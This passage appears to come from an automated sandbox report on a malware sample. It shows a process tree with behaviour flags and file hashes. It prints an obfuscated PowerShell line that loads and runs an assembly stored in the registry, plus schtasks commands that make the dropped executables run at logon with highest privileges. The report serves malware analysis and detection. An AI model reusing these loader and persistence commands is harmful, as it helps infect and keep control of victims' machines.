.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'OF'+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3516
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1184
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s nsi1⤵PID:1204
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1248
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s EventSystem1⤵PID:1256
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp1⤵PID:1400
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1428
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c:\windows\system32\sihost.exesihost.exe2⤵PID:2924
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1460
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s NlaSvc1⤵PID:1544
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder1⤵PID:1552
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s Dnscache1⤵PID:1596
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s netprofm1⤵PID:1672
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1692
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1832
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1848
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s StateRepository1⤵PID:1924
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1936
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2020
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation1⤵PID:1572
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc1⤵PID:2224
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s CryptSvc1⤵
- Drops file in System32 directory
PID:2324
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2336
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2352
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent1⤵PID:2368
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2452
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks1⤵PID:2460
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2468
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2476
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2804
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc1⤵PID:2956
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2992
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s TokenBroker1⤵PID:3080
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3324
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C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe"C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2272 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$srr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
PID:3260
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C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe"C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4580 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$srr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe" /rl HIGHEST /f4⤵
- Creates scheduled task(s)
PID:512
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C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"3⤵
- Executes dropped EXE
PID:1892
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C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77R0X-Built.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe'" /sc onlogon /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:4216
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3852
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4052
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s CDPSvc1⤵PID:4728
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵PID:5064
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:3512
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3008
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s wlidsvc1⤵PID:4040
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4484
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C:\Windows\system32\ApplicationFrameHost.exeC:\Windows\system32\ApplicationFrameHost.exe -Embedding1⤵PID:4584
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C:\Windows\System32\InstallAgent.exeC:\Windows\System32\InstallAgent.exe -Embedding1⤵PID:2552
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:5036
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Suspicious behavior: EnumeratesProcesses
PID:3528
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
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Filesize
409KB
MD5a0f5aa5764c4f66eee82f857f9f447b6
SHA13c3a780d020cb3eb3088223443fe813abb95dccd
SHA25643c6b9b6c241dbd6ad1bde7980026235373374d5e836fb6c794354a15e678ef3
SHA512458c03ae490e409598b8e9e89911b0757fb61411fbc45a60ecefed3c13d0fc96b7bc205afe1fb3e0f7585eb163f102754ec9259691eca1bfa00b028f74eb8384
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Filesize338B
MD5f633337723b377ea951c1541f6ef5914
SHA1c4c3eaa0449abff4faea75a27a9dad517132fc61
SHA256dfe3ea3fec828cd2666419d124e2306a1a1a8805fa87bc46644c7882c7558da1
SHA51266e254391220cb990146ff1f20fcb20c20059f2381132888a032c51de3c89ff8a15991e37d7e4fd58b1fa002176f3dd100c78bc96dcb9907d6e9b433ab5fd3f3